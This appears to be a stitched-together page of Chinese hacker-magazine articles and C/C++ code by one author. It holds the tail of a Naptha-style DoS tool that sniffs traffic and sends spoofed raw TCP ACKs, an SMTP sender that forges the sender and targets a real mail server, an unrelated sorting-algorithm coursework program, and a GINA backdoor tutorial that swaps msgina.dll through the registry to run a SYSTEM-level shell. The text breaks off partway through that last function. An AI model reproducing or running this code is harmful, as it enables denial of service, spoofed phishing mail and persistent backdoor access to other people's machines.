    lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)AdapterList[i-1]);    
    if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
    {
        printf(“Unable to open the driver, Error Code : %lx\n”, GetLastError());
        return 0;
    }

    //设置网卡为混杂模式
    if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
    {
        printf(“Warning: Unable to set the adapter to promiscuous mode\n”);
    }

    if(PacketSetBuff(lpAdapter,1024*10)==FALSE)
    {
        printf(“PacketSetBuff Error: %d\n”,GetLastError());
        return -1;
    }

    while ( 1 )
    {
        TCHAR Buffer[1024*10]={0};
        LPPACKET lpPacket;
        lpPacket=PacketAllocatePacket();        
        PacketInitPacket(lpPacket,Buffer,sizeof(Buffer));  
        PacketReceivePacket(lpAdapter,lpPacket,TRUE);
        AnalyseData( lpPacket );
        PacketFreePacket(lpPacket);

    }
    return 0;
}

void    AnalyseData    (LPPACKET lpPacket)
{
    char *Buf;
    EHHEADR *lpEthdr;
    bpf_hdr *lpBpfhdr;
    Buf=(char *)lpPacket->Buffer;
    lpBpfhdr=(bpf_hdr *)Buf;
    lpEthdr=(EHHEADR *)(Buf+lpBpfhdr->bh_hdrlen);
    if(lpEthdr->eh_type==htons(0×0800) && (!memcmp(lpEthdr->eh_dst,SMacAddr,6)) )
    {
        TCPHEADER *lpTcphdr;
        lpTcphdr=(TCPHEADER *)(Buf+lpBpfhdr->bh_hdrlen+sizeof(EHHEADR)+sizeof(IPHEADER));

        if ( lpTcphdr->th_ack == ntohl(0×12345678+1) && lpTcphdr->th_flag == 0×12)
        {
            SendAck(lpTcphdr->th_seq,lpTcphdr->th_ack,lpTcphdr->th_dport);            
        }
    }

}

void    SendAck ( DWORD    SEQ , DWORD    ACK ,USHORT    SPort)
{
    SOCKET sock;
    SOCKADDR_IN addr_in;
    IPHEADER ipHeader;
    TCPHEADER tcpHeader;
    PSDHEADER psdHeader;

    char szSendBuf[60]={0};
    BOOL flag;
    int rect,nTimeOver;

    sock=NULL;
    if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
    {
        printf(“Socket Setup Error!\n”);
        return ;
    }

    flag=true;
    if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
    {
        printf(“setsockopt IP_HDRINCL error!\n”);
        return ;
    }

    nTimeOver=1000;
    if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR)                                //设置发送的时间
    {
        printf(“setsockopt SO_SNDTIMEO error!\n”);
        return ;
    }
    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(ATPORT);
    addr_in.sin_addr.S_un.S_addr=inet_addr(ATIP);
    ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
    ipHeader.tos=0;
    ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));     //IP总长度
    ipHeader.ident=1;
    ipHeader.frag_and_flags=0;                
    ipHeader.ttl=123;        
    ipHeader.proto=IPPROTO_TCP;
    ipHeader.checksum=0;
    ipHeader.destIP=inet_addr(ATIP);
    tcpHeader.th_dport=htons(ATPORT);
    tcpHeader.th_ack=htonl((ntohl(SEQ)+1));                
    tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
    tcpHeader.th_flag=0×10;         //    ack        
    tcpHeader.th_win=htons(512);
    tcpHeader.th_urp=0;
    tcpHeader.th_seq=ACK;
    psdHeader.daddr=ipHeader.destIP;
    psdHeader.mbz=0;
    psdHeader.ptcl=IPPROTO_TCP;
    psdHeader.tcpl=htons(sizeof(tcpHeader));

    ipHeader.sourceIP=inet_addr(SNOOPIP);
    tcpHeader.th_sport=SPort;
    tcpHeader.th_sum=0;
    psdHeader.saddr=ipHeader.sourceIP;
    memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
    memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
    tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
    memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
    memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
    rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
    if (rect==SOCKET_ERROR)
    {
        printf(“send error!:%x\n”,WSAGetLastError());
        return ;
    }
    else    printf(“send ok!\n”);
    closesocket(sock);

}

//参考文献: 《新型网络DoS(拒绝服务)攻击漏洞 – “Naptha”》
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=721

      SMTP电子邮电技术揭密 <首发于黑客X档案2003-2004年中期合订本>

                                                                                                   作者:LionD8

SMTP又叫简单邮件传输协议,我们平时发的电子邮件就是利用的这个协议进行传输的,同时电子邮件也经常被黑客们利用进行一些攻击,比如伪造,或者攻击邮件服务器的电子邮件炸弹,在大家用这些黑软的同时有没有想过其中的技术内幕啊?现在我就起以一个抛砖引玉的作用简单的介绍一下电子邮件利用的技术和具体的实现方法。

一.首先我们必须简单的介绍一下SMTP邮件协议。SMTP服务默认是打开的25端口,我们下面用163的邮件服务器为例,来进行电子邮件伪造的实现。

  1.首先要发邮件必须连接到邮件服务器上,然后发送HELO命令和服务器打招呼。命令格式 HELO<SP>意思就是,你好,我是某某。比如说HELO root。服务器会返回  250表示我们的请求成功。

    2.然后我们就应该发送是谁发送的电子邮件,比如:MAILFROM:hacker@hacker.com伪造一个发送者。如果成功也会返回250。

3.然后我们要让邮件服务器知道,我们要给谁发送邮件。发送命令:RCPT TO:xiaoji198288@163.com xiaoji198288@163.com为我们收件人的地址。一会我们就会用这个地址来试验。

4.收件人确定后我们就应该发送电子邮件的正文的数据了。发送命令:DATA。然后就是发送我们的邮件的内容。在邮件正文发送完毕后最后发送<CRLF>.<CRLF>告诉服务器邮件正文发送结束。

5.最后我们发送命令:QUIT。断开和邮件服务器的连接。到这里我们的整个邮件发送过程就结束了。也许您还觉得上面的过程比较空洞,没有关系下面我们将用代码来证实上面的每一个过程。

.代码和注释部分。

首先我们定义一个CMAIL类。

class CEmail 

{

public:

        void CBase64Encode(char* pSr,char* pDes,int nSourLen); //BASE64编码用于发送附件。

    void Sender();      //发送电子邮件

    CString m_FileName; //作为附件的文件名

    CString m_MailDes;  //收件人的油箱

    CString m_ServerIP; //MX记录IP,我们试验用的是163的MX记录,一会我们将介绍MX记录IP的查询方法。

    SOCKET  m_sock;     //一个套结字

    CEmail(CString FileName,CString SIP=”", CString DES=”"); //构造函数

    virtual ~CEmail();

};

下面我们简单的介绍一下MX邮件服务器的查询方法和BASE64编码。

MX记录查询:在CMD下输入 nslookup -qt=MX 163.com 回车。

MX记录的IP就是类似下面的返回结果:

G:\>nslookup -qt=MX 163.com

*** Can’t find server name for address 211.158.22.118: No response from server

Server:  dns.cta.net.cn

Address:  61.128.128.68

Non-authoritative answer:

163.com MX preference = 50, mail exchanger = m203.163.com

163.com MX preference = 50, mail exchanger = m209.163.com

163.com MX preference = 50, mail exchanger = m210.163.com

163.com nameserver = ns.nease.net

163.com nameserver = ns2.nease.net

m209.163.com    internet address = 202.108.44.209

m210.163.com    internet address = 202.108.44.210

m203.163.com    internet address = 202.108.44.203

202.108.44.203 202.108.44.209 202.108.44.210 都是MX邮件服务器IP

我们选用的第一个202.108.44.203作为试验对象。

BASE64编码: 由于SMTP仅仅局限7位的ASCII码,由于电子邮件的用途广泛于是出现了MIME。MIME没有改动SMTP,只是在遵循SMTP的规则上对其进行了一些扩充,包括邮件头部,和非ASCII码的编码规则,用得最广泛的就是BASE64编码。由于附件不一定是纯文本格式,大多都是流式文件即2进制文件。所以对2进制文件进行编码。首先将24位(3个字节的)数据分为4个6位组。6位一共有64种值,分别对应A–Za–z0–9+/

==和=分别表示最后一组只有8为或者为16位的数据。例如:01001001 00110001 01111001 对应编码为:010010 010011 000101 111001。BASE64编码:STE5。

    基本的都介绍完了,下面就是发送邮件的主体部分了。

CEmail::CEmail(CString FileName, CString SIP, CString DES)

{

    m_FileName = FileName;

    m_ServerIP = SIP;

    m_MailDes = DES;

        m_sock = NULL;

}  //构造函数进行函数的初始化

//发送的主体函数

void CEmail::Sender()

{

    if ((m_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)

    {

        AfxMessageBox(“m_sock False”);

        exit(1);

    }    //TCP套结字

    SOCKADDR_IN addr_in={0};

    char* pbuf=NULL;

    pbuf = m_FileName.GetBuffer(m_FileName.GetLength()); //取得文件名字并转换为char*型。

    char* next = 0;

    while( next=strstr(pbuf,”\\”) )

    pbuf=next+1;    //获得文件的第一个字母

    addr_in.sin_family=AF_INET;

    addr_in.sin_port=htons(25);

    addr_in.sin_addr.S_un.S_addr=inet_addr(m_ServerIP);   //MX邮件记录IP

    while (1)

    {

        int ret=connect(m_sock,(struct sockaddr* )&addr_in,sizeof(addr_in));

        if ( ret != SOCKET_ERROR)

        break;

        Sleep(1000);

    } //连接远程服务器。如果成功就跳出死循环。

    char* pTString=”helo root\r\n”;

    char buf[256]={0};

    send (m_sock,pTString,strlen(pTString),0); //发送helo命令

    Sleep(1000);

    recv (m_sock,buf,256,0); //接收返回的信息                 

    memset(buf,0,256);

    CString tmp=”";

    tmp=”mail from:LionD8@CQSN.com\r\n”;

    send (m_sock,tmp,tmp.GetLength(),0);  //发送mail from命令

    recv (m_sock,buf,256,0);

    memset(buf,0,256);

    tmp=”rcpt to:”+m_MailDes+”\r\n”;

    send (m_sock,tmp,tmp.GetLength(),0);  //发送rcpt to命令

    recv (m_sock,buf,256,0);

    memset(buf,0,256);

    tmp = “data\r\n”;

    send (m_sock,tmp,tmp.GetLength(),0);  //发送data命令

    recv (m_sock,buf,256,0);

    memset(buf,0,256);

    //MIME头部

    tmp = “Subject:”;

    tmp += m_Title;

    tmp+=”\n”;   //邮件的主题

    send (m_sock,tmp,tmp.GetLength(),0);

    tmp = “From:”+m_SenderName+”\n”;  //我们伪造的发件人

    send (m_sock,tmp,tmp.GetLength(),0);

    tmp = “To:”+m_MailDes+”\r\n”;    //收件人

    send (m_sock,tmp,tmp.GetLength(),0);

    tmp = “Content-Type:multipart/mix;boundary=qwertyuiop\r\n”;

    //定义分段的标示为qwertyuiop.

    send (m_sock,tmp,tmp.GetLength(),0);

    tmp = “\n–qwertyuiop\n\n”;

    send (m_sock,tmp,tmp.GetLength(),0);

    m_StringText+=”\n”;

    send (m_sock,m_StringText,m_StringText.GetLength(),0); //发送正文内容

    void *basepointer;

    tmp = “–qwertyuiop\n”;

    send (m_sock,tmp,tmp.GetLength(),0);

    tmp = “Content-Type: application/octet-stream; name=”;

    tmp+=pbuf;

    tmp+=”\n”;

    send (m_sock,tmp,tmp.GetLength(),0);

    tmp = “Content-Transfer-Encoding: base64\r\n”;  //采用BASE64编码

    send (m_sock,tmp,tmp.GetLength(),0);

    tmp = “Content-Disposition: attachment; filename=”;

    tmp+=pbuf;

    tmp+=”\n\n”;

    send (m_sock,tmp,tmp.GetLength(),0);

    HANDLE hFile, hMapping;

    if ((hFile = CreateFile(m_FileName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0)) == INVALID_HANDLE_VALUE)

    {

        AfxMessageBox(“could not open file”);

        return ;

    } //打开文件.

    if (!(hMapping = CreateFileMapping(hFile, 0, PAGE_READONLY | SEC_COMMIT, 0, 0, 0)))

    {

        AfxMessageBox(“mapping failed”);

        CloseHandle(hFile);

        return ;

    } 

    if (!(basepointer = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0)))

    {

        AfxMessageBox(“view failed”);

        CloseHandle(hMapping);

        CloseHandle(hFile);

        return ;

    }  //把文件映射到内存。

    DWORD cb=GetFileSize(hFile,NULL); //取得文件大小

    char *t=(char*)malloc((cb/3)*4+4); //分配BASE64编码内存

    memset(t,0,(cb/3)*4+4);

    CBase64Encode((char*)basepointer,t,cb); //编码

    send (m_sock,(char*)t,(cb/3)*4+4,0);    //把编码后的文件发送出去

    tmp = “\n\n\n–qwertyuiop–\n\n”;      

    send (m_sock,tmp,tmp.GetLength(),0);  

    UnmapViewOfFile(basepointer);

    CloseHandle(hMapping);

    CloseHandle(hFile);

    tmp = “\n\r\n.\r\n”;   //正文传输结束

    send (m_sock,tmp,tmp.GetLength(),0);

    recv (m_sock,buf,256,0);

    send (m_sock,”quit\n”,5,0);

    AfxMessageBox(“邮件发送完成”);

    closesocket(m_sock);

}

 

几种排序算法的效率比较

/*
下面的程序是我数据结构的课程设计
希望对即将学习数据结构的朋友有一点点帮助

*/
# include “stdio.h”
# include “stdlib.h”
# include “string.h”
# include “time.h”
# include “windows.h”
# include “winbase.h”

# define  MAXSIZE  1024*5
# define  TRUE      1
# define  FALSE    0

typedef  int  BOOL;

typedef struct StudentData
{
int num;            /* this is a key word*/
}Data;

typedef struct LinkList
{
int  Length;
Data Record[MAXSIZE];
}LinkList;

int  RandArray[MAXSIZE];

/****************banner*******************************/
void  banner()
{
printf(“\n\n\t\t******************************************\n”);
printf(“\t\t            数据结构课程设计\n”);
printf(“\t\tMade by LionD8.                  2003.6.30\n”);
printf(“\t\tPlese press enter.\n”);
printf(“\t\t******************************************”);
getchar();
system(“cls.exe”);
}
/******************随机生成函数************************/

void  RandomNum()
{
int i;
srand((int)time( NULL ));
for(i=0; i<MAXSIZE; i++)
RandArray[i]=(int)rand();
return;
}

/******************************************************/

void InitLinkList(LinkList* L)
{
int i;
memset(L,0,sizeof(LinkList));
RandomNum();
for(i=0; i<MAXSIZE; i++)
L->Record[i].num=RandArray[i];
L->Length=i;
}

BOOL LT(int i, int j,int* CmpNum)
{
(*CmpNum)++;
if (i<j) return TRUE;
return FALSE;
}

void  Display(LinkList* L)
{
FILE* f;
int i;
if((f=fopen(“SortRes.txt”,”w”))==NULL)
{
  printf(“can’t open file\n”);
  exit(0);
}
for (i=0; i<L->Length; i++)
fprintf(f,”%d\n”,L->Record[i].num);
fclose(f);
}

/**********西尔排序*************/

void ShellInsert(LinkList* L,int dk, int* CmpNum, int* ChgNum)
{
int i, j;
Data  Temp;
for(i=dk; i<L->Length;i++)
{
  if( LT(L->Record[i].num, L->Record[i-dk].num, CmpNum) )
  {
  memcpy(&Temp,&L->Record[i],sizeof(Data));
  for(j=i-dk; j>=0 && LT(Temp.num, L->Record[j].num, CmpNum) ; j-=dk)
  {
  (*ChgNum)++;
  memcpy(&L->Record[j+dk],&L->Record[j],sizeof(Data));
  }
  memcpy(&L->Record[j+dk],&Temp,sizeof(Data));
  }
}
}

void  ShellSort(LinkList* L, int dlta[], int t,int* CmpNum, int* ChgNum)
{
int k;
for (k=0; k<t; k++)
ShellInsert(L,dlta[k],CmpNum,ChgNum);
}

/***************************************/

/********快速排序***********************/

int  Partition (LinkList* L, int low, int high, int* CmpNum, int* ChgNum)
{
Data  Temp;
int  PivotKey;
memcpy(&Temp,&L->Record[low],sizeof(Data));
PivotKey=L->Record[low].num;
while (low < high)
{
  while (low<high && L->Record[high].num >= PivotKey)
  {
  high–;
  (*CmpNum)++;
  }
  (*ChgNum)++;
  memcpy(&L->Record[low],&L->Record[high],sizeof(Data));
  while (low<high && L->Record[low].num <= PivotKey)
  {
  low++;
  (*CmpNum)++;
  }
  (*ChgNum)++;
  memcpy(&L->Record[high],&L->Record[low],sizeof(Data));
}
memcpy(&L->Record[low],&Temp,sizeof(Data));
return  low;
}

void  QSort (LinkList* L, int low, int high, int* CmpNum, int* ChgNum)
{
int PivotLoc=0;
if (low < high)
{
  PivotLoc=Partition(L,low,high,CmpNum,ChgNum);
  QSort(L,low,PivotLoc-1,CmpNum,ChgNum);
  QSort(L,PivotLoc+1,high,CmpNum,ChgNum);
}
}

void  QuickSort (LinkList* L, int* CmpNum, int* ChgNum)
{
QSort(L,0,L->Length-1,CmpNum,ChgNum);
}

/*********************************************/

/***********堆排序****************************/

void  HeapAdjust (LinkList* L,int s, int m, int* CmpNum, int* ChgNum)
{
Data Temp;
int j=0;
s++;
memcpy(&Temp,&L->Record[s-1],sizeof(Data));
for (j=2*s; j<=m ; j*=2)
{
  if(j<m && LT(L->Record[j-1].num,L->Record[j].num,CmpNum)) ++j;
  if(!LT(Temp.num,L->Record[j-1].num,CmpNum)) break;
  (*ChgNum)++;
  memcpy(&L->Record[s-1],&L->Record[j-1],sizeof(Data));
  s=j;
}
memcpy(&L->Record[s-1],&Temp,sizeof(Data));
}

void  HeapSort (LinkList* L, int* CmpNum, int* ChgNum)
{
int i=0;
Data  Temp;
for (i=L->Length/2-1; i>=0; i–)
HeapAdjust(L,i,L->Length,CmpNum,ChgNum);
for (i=L->Length; i>1; i–)
{
  memcpy(&Temp,&L->Record[0],sizeof(Data));
  (*ChgNum)++;
  memcpy(&L->Record[0],&L->Record[i-1],sizeof(Data));
  memcpy(&L->Record[i-1],&Temp,sizeof(Data));
  HeapAdjust(L,0,i-1,CmpNum,ChgNum);
}
}

/****************冒泡排序****************************/
void BubbleSort(LinkList* L, int* CmpNum, int* ChgNum)
{
int i,j;
Data temp;
for (i=0; i<MAXSIZE-1;i++)
{
  for(j=0; j<MAXSIZE-i-1;j++)
  {
  if(!LT(L->Record[j].num,L->Record[j+1].num,CmpNum))
  {
  (*ChgNum)++;
    memcpy(&temp,&L->Record[j],sizeof(Data));
    memcpy(&L->Record[j],&L->Record[j+1],sizeof(Data));
    memcpy(&L->Record[j+1],&temp,sizeof(Data));
  }
  }
}
}

/**********************************************************/

/******************选择排序********************************/
int SelectMinKey(LinkList* L,int k,int* CmpNum)
{
int Min=k;
for ( ; k<L->Length; k++)
{
  if(!LT(L->Record[Min].num,L->Record[k].num,CmpNum))
  Min=k;
}
return Min;
}

void  SelSort(LinkList* L, int* CmpNum, int* ChgNum)
{
int  i, j;
Data temp;
for(i=0; i<L->Length; i++)
{
  j=SelectMinKey(L,i,CmpNum);
  if(i!=j)
  {
  (*ChgNum)++;
  memcpy(&temp,&L->Record[i],sizeof(Data));
  memcpy(&L->Record[i],&L->Record[j],sizeof(Data));
  memcpy(&L->Record[j],&temp,sizeof(Data));
  }
}
}

/**************************************************************/

void  SelectSort()
{
printf(“\n      0. InsertSort.”);
printf(“\n      1. ShellSort.”);
printf(“\n      2. QuickSort.”);
printf(“\n      3. HeapSort.”);
printf(“\n      4. BubbleSort.”);
printf(“\n      5. SelectSort.”);
printf(“\n      6. AllAbove.”);
printf(“\n \t\t\t\t  Please Select Num:”);
}

/**********************************************************/

/**********************************************************/
void  AllAbove(LinkList* L,int* CmpNum, int* ChgNum)
{
  int  TempTime,i;
  int  SpendTime;
  int dlta[3]={7,3,1};
  int Indata[1]={1};

    TempTime=(int)GetTickCount();
    ShellSort(L,Indata,1,&CmpNum[0],&ChgNum[0]);
    SpendTime=(int)GetTickCount()-TempTime;
    printf(“\n\tInserSort:”);
    printf(“\n\tCompare number=%d\tChange number=%d\tSepndTime=%dms”,CmpNum[0],ChgNum[0],SpendTime);
 
  for(i=0; i<MAXSIZE; i++)
  L->Record[i].num=RandArray[i];    //随机数列复位
  TempTime=(int)GetTickCount();
  ShellSort(L, dlta, 3,&CmpNum[1],&ChgNum[1]);
  SpendTime=(int)GetTickCount()-TempTime;
  printf(“\n\tShellSort:”);
    printf(“\n\tCompare number=%d\tChange number=%d\tSepndTime=%dms”,CmpNum[1],ChgNum[1],SpendTime);
   
  for(i=0; i<MAXSIZE; i++)
  L->Record[i].num=RandArray[i];    //随机数列复位
  TempTime=(int)GetTickCount();
  QuickSort(L,&CmpNum[2],&ChgNum[2]);
    SpendTime=(int)GetTickCount()-TempTime;
  printf(“\n\tQuickSort:”);
    printf(“\n\tCompare number=%d\tChange number=%d\tSepndTime=%dms”,CmpNum[2],ChgNum[2],SpendTime);
 
  for(i=0; i<MAXSIZE; i++)
  L->Record[i].num=RandArray[i];    //随机数列复位
    TempTime=(int)GetTickCount();
    HeapSort(L,&CmpNum[3],&ChgNum[3]);
    SpendTime=(int)GetTickCount()-TempTime;
  printf(“\n\tHeapSort:”);
  printf(“\n\tCompare number=%d\tChange number=%d\tSepndTime=%dms”,CmpNum[3],ChgNum[3],SpendTime);
 
  for(i=0; i<MAXSIZE; i++)
  L->Record[i].num=RandArray[i];  //随机数列复位
  TempTime=(int)GetTickCount();
  BubbleSort(L,&CmpNum[4],&ChgNum[4]);
  SpendTime=(int)GetTickCount()-TempTime;
  printf(“\n\tBubbleSort:”);
    printf(“\n\tCompare number=%d\tChange number=%d\tSepndTime=%dms”,CmpNum[4],ChgNum[4],SpendTime);
   
  for(i=0; i<MAXSIZE; i++)
  L->Record[i].num=RandArray[i];  //随机数列复位
  TempTime=(int)GetTickCount();
  SelSort(L,&CmpNum[5],&ChgNum[5]);
  SpendTime=(int)GetTickCount()-TempTime;
  printf(“\n\tSelectSort:”);
  printf(“\n\tCompare number=%d\tChange number=%d\tSepndTime=%dms”,CmpNum[5],ChgNum[5],SpendTime);
   
}

void main()
{
int select=0;
int dlta[3]={7,3,1};
int Indata[1]={1};
int CmpNum[6],ChgNum[6];
int SpendTime=0;
int TempTime;
LinkList  L;
InitLinkList(&L);

memset(CmpNum,0,sizeof(CmpNum));
memset(ChgNum,0,sizeof(ChgNum));
banner();

SelectSort();
scanf(“%d”,&select);
switch (select)
{
case    0:
      TempTime=(int)GetTickCount();
      ShellSort(&L,Indata,1,&CmpNum[select],&ChgNum[select]);
      SpendTime=(int)GetTickCount()-TempTime;
      printf(“\tInserSort:”);
      printf(“\n\n\tCompare number=%d\tChange number=%d\tSepndTime=%dms”,CmpNum[select],ChgNum[select],SpendTime);
      break;
case 1:
      TempTime=(int)GetTickCount();
      ShellSort(&L, dlta, 3,&CmpNum[select],&ChgNum[select]);
      SpendTime=(int)GetTickCount()-TempTime;
      printf(“\tShellSort:”);
      printf(“\n\n\tCompare number=%d\tChange number=%d\tSepndTime=%dms”,CmpNum[select],ChgNum[select],SpendTime);
      break;
case 2:
      TempTime=(int)GetTickCount();
      QuickSort(&L,&CmpNum[select],&ChgNum[select]);
              SpendTime=(int)GetTickCount()-TempTime;
      printf(“\tQuickSort:”);
        printf(“\n\n\tCompare number=%d\tChange number=%d\tSepndTime=%dms”,CmpNum[select],ChgNum[select],SpendTime);
      break;
case    3:
      TempTime=(int)GetTickCount();
      HeapSort(&L,&CmpNum[select],&ChgNum[select]);
      SpendTime=(int)GetTickCount()-TempTime;
      printf(“\tHeapSort:”);
      printf(“\n\n\tCompare number=%d\tChange number=%d\tSepndTime=%dms”,CmpNum[select],ChgNum[select],SpendTime);
      break;
case    4:
      TempTime=(int)GetTickCount();
      BubbleSort(&L,&CmpNum[select],&ChgNum[select]);
      SpendTime=(int)GetTickCount()-TempTime;
      printf(“\tBubbleSort:”);
      printf(“\n\n\tCompare number=%d\tChange number=%d\tSepndTime=%dms”,CmpNum[select],ChgNum[select],SpendTime);
      break;
case    5:
      TempTime=(int)GetTickCount();
      SelSort(&L,&CmpNum[select],&ChgNum[select]);
      SpendTime=(int)GetTickCount()-TempTime;
      printf(“\tSelectSort:”);
      printf(“\n\n\tCompare number=%d\tChange number=%d\tSepndTime=%dms”,CmpNum[select],ChgNum[select],SpendTime);
      break;
case 6:
      AllAbove(&L,CmpNum,ChgNum);
      break;
default:
      printf(“\n Input  error !”);
}

Display(&L);
printf(“\n\n\tTest over, please press enter!\n”);
getchar();
getchar();
}

/*
测试结果
对1024×5大小的随机数列排序6种算法的测试结果分别如下:
1.InserSort:
Compare number=6407568  Change number=6397342  SepndTime=1349ms
2. ShellSort:
Compare number=1044703  Change number=1017712  SepndTime=127ms
3. QuickSort:
Compare number=72478    Change number=30118      SepndTime=0ms
4. HeapSort:
Compare number=110696  Change number=58691      SepndTime=18ms
5. BubbleSort:
Compare number=13104640 Change number=6849429    SepndTime=1992ms
6. SelectSort:
Compare number=13109760 Change number=5111      SepndTime=1188ms
*/

GinaBackDoor简单实现

                                                            WriteBy:  LionD8

                                                     Email: LionD8@126.com

                                                     Website: http://liond8.126.com

 

    本来是投给黑防的稿子,可是等了3个月还没有消息,不等了公布了.虽然这篇东东不是什么高深的技术,但是对于初学入门的兄弟还是有一定帮助的。高手不要殴我啊。

    首先要介绍Gina的在windows中的作用。NT,2K等都是多用户的系统,在进入用户shell前都有一个身份验证的过程。这个验证的过程就是由我们的Gina完成的。Gina除了验证用户身份以外还要提供图形登陆界面。系统默认的Gina是msgina.dll你能在系统目录system32下找到。微软除了提供了默认的Gina还允许自定义开发Gina替换掉msgina.dll实现自己的一些认证方式。这就为我们的后门提供了条件,要替换掉系统默认加载msgina.dll很简单只要编辑注册表在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon项下面加入一个类型为REG_SZ名为GinaDLL的一个键值.数据填写我们替换的GinaDLL的名字就OK了。

例如:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

“GinaDLL”=”ginadll.dll”(ginadll.dll就我们自己的用来替换的Gina)

在我们自己的DLL中只要邦定一个SHELL,其他的直接调用msgina.dll就行了。说白了就安装一个中间层。使其达到一个后门的目的。Gina是加载到winlogin进程中的,winlogin是系统的用户交互登陆进程是SYSTEM权限的,因此我们的后门也有SYSTEM权限。这对于后门来说是再好不过了。

    由于我们一共要替换15个Gina函数。全部写出来来量相当大。我们就选几个重要的出来做做示范。其他的也差不多就直接往下一层的msgina.dll调用就行了。详细的请参考完整源代码。

 

typedef BOOL (WINAPI *PFUNCWLXNEGOTIATE)( DWORD, DWORD* );

typedef BOOL (WINAPI *PFUNCWLXINITIALIZE)( LPWSTR, HANDLE, PVOID, PVOID, PVOID* );

typedef VOID (WINAPI *PFUNCWLXDISPLAYSASNOTICE)( PVOID );

typedef int  (WINAPI *PFUNCWLXLOGGEDOUTSAS)( PVOID, DWORD, PLUID, PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID *);

typedef BOOL (WINAPI *PFUNCWLXACTIVATEUSERSHELL)(  PVOID, PWSTR, PWSTR, PVOID );

typedef int  (WINAPI *PFUNCWLXLOGGEDONSAS)( PVOID, DWORD, PVOID );

typedef VOID (WINAPI *PFUNCWLXDISPLAYLOCKEDNOTICE)( PVOID );

typedef int  (WINAPI *PFUNCWLXWKSTALOCKEDSAS)( PVOID, DWORD );

typedef BOOL (WINAPI *PFUNCWLXISLOCKOK)( PVOID );

typedef BOOL (WINAPI *PFUNCWLXISLOGOFFOK)( PVOID );

typedef VOID (WINAPI *PFUNCWLXLOGOFF)( PVOID );

typedef VOID (WINAPI *PFUNCWLXSHUTDOWN)( PVOID, DWORD );

typedef BOOL (WINAPI *PFUNCWLXSCREENSAVERNOTIFY)( PVOID, BOOL * );

typedef BOOL (WINAPI *PFUNCWLXSTARTAPPLICATION)( PVOID, PWSTR, PVOID, PWSTR );

typedef BOOL (WINAPI *PFUNCWLXNETWORKPROVIDERLOAD) (PVOID, PWLX_MPR_NOTIFY_INFO);

 

后门要用到的全局变量

//管道

HANDLE  hStdOut = NULL, hSRead = NULL;

HANDLE  hStdInput = NULL, hSWrite = NULL;

//用来控制线程是否结束返回

BOOL    bExit = FALSE;

//保存创建的CMD进程语柄

HANDLE  hProcess = NULL;

 

//这个是Winlogon进程最先调用的函数,用来检查Gina支持的winlogin版本

BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)

{

HINSTANCE  hDll=NULL;

if( !(hDll = LoadLibrary( “msgina.dll” )) )

    return FALSE;

//取得msgina.dll中的WlxNegotiate函数入口

PFUNCWLXNEGOTIATE pWlxNegotiate = (PFUNCWLXNEGOTIATE)GetProcAddress( hDll,                     “WlxNegotiate” );

if( !pWlxNegotiate )

    return FALSE;

//往下层调用

return pWlxNegotiate( dwWinlogonVersion, pdwDllVersion );

}

 

//为一个特别的窗口站初始化一个GinaDLL

BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,

PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)

{

HINSTANCE  hDll=NULL;

if( !(hDll = LoadLibrary( “msgina.dll” )) )

        return FALSE;

PFUNCWLXINITIALIZE pWlxInitialize = (PFUNCWLXINITIALIZE)GetProcAddress( hDll,                         ”WlxInitialize” );

if( !pWlxInitialize )

        return FALSE;

//初始化windows socket的WS2_32.DLL

WSADATA WSAData;

if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)

    return FALSE;

//同上往下调用

return pWlxInitialize( lpWinsta, hWlx, pvReserved,pWinlogonFunctions,

             pWlxContext );

}

 

//Winlogon在没有用户登陆时接收到一个SAS事件调用这个函数

int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,

    PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,

    PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,

    PVOID *pProfile)

{

HINSTANCE  hDll=NULL;

if( !(hDll = LoadLibrary( “msgina.dll” )) )

    return FALSE;

PFUNCWLXLOGGEDOUTSAS pWlxLoggedOutSAS = (PFUNCWLXLOGGEDOUTSAS)GetProcAddress(                           hDll, “WlxLoggedOutSAS” );

if( !pWlxLoggedOutSAS )

      return FALSE;

HANDLE hmutex=CreateMutex(NULL,FALSE,NULL);    //创建互斥对象      

WaitForSingleObject(hmutex,INFINITE);

//后门的主线程开始。

CreateThread(NULL,NULL,StartInit,NULL,NULL,NULL);

ReleaseMutex(hmutex);

CloseHandle(hmutex);

